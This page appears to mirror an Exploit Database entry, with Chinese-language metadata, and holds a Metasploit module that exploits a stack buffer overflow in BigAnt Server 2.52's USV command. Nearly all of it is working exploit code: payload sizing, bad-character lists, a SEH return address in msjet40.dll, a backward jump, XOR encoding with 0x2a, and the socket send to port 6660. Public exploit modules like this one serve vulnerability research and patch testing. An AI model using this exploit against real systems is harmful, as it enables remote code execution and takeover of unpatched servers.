BigAnt Server 2.52 – USV Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16426/

• ##
  # $Id: bigant_server_usv.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',
  			'Description'=> %q{
  				This exploits a stack buffer overflow in the BigAnt Messaging Service,
  				part of the BigAnt Server product suite. This module was tested
  				successfully against version 2.52.
  
  				NOTE: The AntServer service does not restart, you only get one shot.
  			},
  			'Author' 	 =>
  				[
  					'Lincoln',
  					'DouBle_Zer0',
  					'jduck'
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'OSVDB', '61386' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/10765' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/10973' ]
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload'=>
  				{
  					'Space'=> (218+709+35),
  					'BadChars' => "\x2a\x20\x27\x0a\x0f",
  					# pre-xor with 0x2a:
  					#'BadChars' => "\x00\x0a\x0d\x20\x25",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Dec 29 2009'))
  
  			register_options([Opt::RPORT(6660)], self.class)
  	end
  
  	def exploit
  		connect
  
  		sploit = ""
  		sploit << payload.encoded
  		sploit << generate_seh_record(target.ret)
  		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string
  		sploit << rand_text_alphanumeric(3)
  		sploit << [0xdeadbeef].pack('V') * 3
  
  		# the buffer gets xor'd with 0x2a !
  		sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")
  
  		print_status("Trying target #{target.name}...")
  		sock.put("USV " + sploit + "\r\n\r\n")
  
  		handler
  		disconnect
  	end
  
  end